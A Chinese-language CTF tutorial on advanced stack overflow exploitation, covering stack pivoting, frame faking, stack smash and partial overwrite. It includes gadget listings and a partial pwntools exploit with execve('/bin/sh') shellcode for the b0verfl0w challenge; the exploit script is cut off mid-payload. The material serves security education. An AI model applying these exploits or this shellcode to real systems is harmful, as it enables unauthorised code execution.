花式栈溢出

本文详细介绍了栈溢出的各种技术,包括stack pivoting、栈迁移(frame faking)、Stack smash和partial overwrite。文章通过实例解析了这些技术的原理和步骤,涉及利用留下的漏洞控制程序执行流,绕过安全机制如PIE和canary。同时,还提供了多个CTF挑战题的解决方案,展示了如何在实际环境中应用这些技术。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

花式栈溢出

参考:https://ctf-wiki.org/pwn/linux/user-mode/stackoverflow/x86/fancy-rop/#2018-over

参考:https://www.yuque.com/hxfqg9/bin/erh0l7

参考:https://ctf-wiki.org/pwn/linux/user-mode/stackoverflow/x86/fancy-rop

1.原理

1.1 stack pivoting

stack pivoting,翻为堆栈旋转 ,该技巧就是劫持栈指针指向攻击者所能控制的内存处,然后再在相应的位置进行 ROP(说白了就是通过控制esp,从而达到间接控制eip的目的)。一般来说,我们可能在以下情况需要使用 stack pivoting:

  • 可以控制的栈溢出的字节数较少,难以构造较长的 ROP 链
  • 开启了 PIE 保护,栈地址未知,我们可以将栈劫持到已知的区域。
  • 其它漏洞难以利用,我们需要进行转换,比如说将栈劫持到堆空间,从而在堆上写 rop 及进行堆漏洞利用

此外,利用 stack pivoting 有以下几个要求

  • 可以控制程序执行流,也就是控制eip。
  • 可以控制 sp 指针。一般来说,控制栈指针会使用 ROP,常见的控制栈指针的 gadgets 一般是
pop rsp/esp
jmp rsp/esp

还有libc_csu_init 中的csu_gadget1 + 3:

pwndbg> x/5i 0x000000000040061A + 3
   0x40061d <__libc_csu_init+93>:       pop    rsp
   0x40061e <__libc_csu_init+94>:       pop    r13
   0x400620 <__libc_csu_init+96>:       pop    r14
   0x400622 <__libc_csu_init+98>:       pop    r15
   0x400624 <__libc_csu_init+100>:      ret    

1.2 栈迁移(frame faking)

1.2.1 gadget介绍

栈迁移主要利用了 leave; ret; 这样的gadget

leave相当于:

move esp, ebp;
pop ebp

ret相当于:

pop eip

当程序完成调用,打算返回时,就会出现leave; ret这样的gadget:

1.2.2 栈(payload)布置

栈迁移的栈布置如下(payload = padding + address(fake_ebp1) + read + leave_ret_gadget + 0 + fake_ebp1 + 0x100):

在进行read()函数读入数据时,我们需要输入:address(fake ebp2) + system() + padding _+ “/bin/sh”。(这里以system()为例,也可以调用其他的函数)

备注:

1. payload内加入read是为了在bss段或者data段内写入我们需要的数据,如果需要的数据提前已经被构造好了,那么可以删掉read,直接跟上leave_ret_gagegt。

2.在后面read()读入数据时输入的address(fake ebp2)是为了控制ebp的指向。如果只是为了执行函数,无所谓ebp在哪,那完全不需要输入address(fake ebp2),而可以用padding代替。

1.2.3 步骤分析

我们逐步分析下栈迁移的每一步,以执行system()函数为例:

stage 1:

函数调用完成,程序在函数结尾执行leave指令的move esp, ebp:

stage 2:

执行leave指令的 pop ebp:

stage 3:

程序执行ret,即pop eip,那么调用read(0, fake_ebp1, 0x100)函数。那么我们输入的内容就会从fake_ebp1开始往高地址写,我们让它写入:address(fake ebp2) + system() + padding + “/bin/sh”

stage 4:

程序执行leave_ret_gadget,那么又会像上面一样:

执行move esp, ebp

stage 5:

然后是pop ebp:

这个时候我们发现esp指向了我们写入的函数地址,比如system()函数。

stage 6:

然后是ret:

程序被劫持指向我们指定的函数,比如system(),实现目的。

其他栈迁移方式:

下面再介绍一种栈迁移方式,不过原理基本一样,不一样的是如下的布置方式不需要利用被调用函数的leave;ret 机制,且调用完后ebp不知道会指向哪里(取决于0x804a824内写入的原来的数据),但是仍然可以指向指定的函数:

以下以调用write()函数对栈上的”/bin/sh“进行打印为例:

原栈帧的布置:

0x0000:          b'aaaa' 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa'
0x0004:          b'aaaa'
...
0x0064:          b'aaaa'
0x0068:          b'aaaa'
0x006c:          b'aaaa'
0x0070:        0x8048390 read(0, 0x804a828, 100)
0x0074:        0x804836a <adjust @0x84> add esp, 8; pop ebx; ret
0x0078:              0x0 arg0
0x007c:        0x804a828 arg1
0x0080:             0x64 arg2
0x0084:        0x804864b pop ebp; ret  
0x0088:        0x804a824
0x008c:        0x8048465 leave; ret

bss段布置:

0x0000:        0x80483c0 write(1, 0x804a878, 7)
0x0004:        0x804836a <adjust @0x14> add esp, 8; pop ebx; ret
0x0008:              0x1 arg0
0x000c:        0x804a878 arg1
0x0010:              0x7 arg2
0x0014:          b'aaaa' 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa'
0x0018:          b'aaaa'
...
0x0048:          b'aaaa'
0x004c:          b'aaaa'
0x0050:          b'/bin' '/bin/sh'
0x0054:           b'/sh'
0x0057:          b'aaaa' 'aaaaaaaaaaaaa'
0x005b:          b'aaaa'
0x005f:          b'aaaa'
0x0063:             b'a'

执行完后,栈帧如下:

1.3 Stack smash

Stack smash是绕过canary保护的技术。

在程序加了 canary 保护之后,如果我们读取的 buffer 覆盖了对应的值时,程序就会报错,而一般来说我们并不会关心报错信息。而 stack smash 技巧则就是利用打印这一信息的程序来得到我们想要的内容。这是因为在程序启动 canary 保护之后,如果发现 canary 被修改的话,程序就会执行 __stack_chk_fail 函数来打印 argv[0] 指针所指向的字符串,正常情况下,这个指针指向了程序名。其代码如下:

void __attribute__ ((noreturn)) __stack_chk_fail (void)
{
   
  __fortify_fail ("stack smashing detected");
}
void __attribute__ ((noreturn)) internal_function __fortify_fail (const char *msg)
{
   
  /* The loop is added only to keep gcc happy.  */
  while (1)
    __libc_message (2, "*** %s ***: %s terminated\n",
                    msg, __libc_argv[0] ?: "<unknown>");
}

所以说如果我们利用栈溢出覆盖 argv[0] 为我们想要输出的字符串的地址,那么在 __fortify_fail 函数中就会输出我们想要的信息。

但是,在我的ubuntu20.04(内核 4.19.128)里面不会打印程序名,也不会打印 <unknown>

*** stack smashing detected ***: terminated

因此,对于比较新的内核,这个技巧无效了。

1.4 partial overwrite

在开启了随机化(ASLR,PIE)后, 无论高位的地址如何变化,低 12 位的页内偏移始终是固定的, 也就是说如果我们能更改低位的偏移, 就可以在一定程度上控制程序的执行流, 绕过 PIE 保护。

2.例题

2.1 stack pivoting

2.1.1 习题信息

习题来自:ctf-challenges/pwn/stackoverflow/stackprivot/X-CTF Quals 2016 - b0verfl0w

2.1.2 程序分析

看一下安全机制:

$ checksec  b0verfl0w
[*] '/mnt/d/study/ctf/资料/ctf-challenges/pwn/stackoverflow/stackprivot/X-CTF Quals 2016 - b0verfl0w/b0verfl0w'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x8048000)
    RWX:      Has RWX segments

可以看出来是32位的,没有canary,没有nx,没有pie,存在RWX

IDA看一下漏洞函数:

signed int vul()
{
   
  char s; // [esp+18h] [ebp-20h]

  puts("\n======================");
  puts("\nWelcome to X-CTF 2016!");
  puts("\n======================");
  puts("What's your name?");
  fflush(stdout);
  fgets(&s, 50, stdin);
  printf("Hello %s.", &s);
  fflush(stdout);
  return 1;
}

程序存在栈溢出,但是溢出的长度为: 50 - 0x20 - 4 = 14字节,因此很多rop无法执行。

考虑stack privoting,因为程序没有开启nx,因此可以把shellcode部署到栈上执行。基本思路如下:

  1. 利用栈溢出部署shellcode
  2. 控制eip指向shellcode

那么如何控制eip指向shellcode,我们寻找类似 jmp esp 的gadget:

$ ROPgadget --binary b0verfl0w --only "jmp|ret"
Gadgets information
============================================================
0x080483ab : jmp 0x8048390
0x080484f2 : jmp 0x8048470
0x08048611 : jmp 0x8048620
0x0804855d : jmp dword ptr [ecx + 0x804a040]
0x08048550 : jmp dword ptr [ecx + 0x804a060]
0x0804876f : jmp dword ptr [ecx]
0x08048504 : jmp esp
0x0804836a : ret
0x0804847e : ret 0xeac1

Unique gadgets found: 9

可以使用 0x08048504 处的gadget,当esp指向了我们可以控制的gadget时,触发jmp esp,从而让eip指向我们可以控制的gadget。然后我们可以控制的gadget功能就是让esp指向栈上shellcode,再jmp esp。

exp如下:

from pwn import *
sh = process('./b0verfl0w')

shellcode_x86 = "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73"
shellcode_x86 += "\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0"
shellcode_x86 += "\x0b\xcd\x80"

sub_esp_jmp = asm('sub esp, 0x28;jmp esp')  # 我们可以控制的gadget
jmp_esp = 0x08048504
payload = shellcode_x86 + (
    0x20 - len(shellcode_x86
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值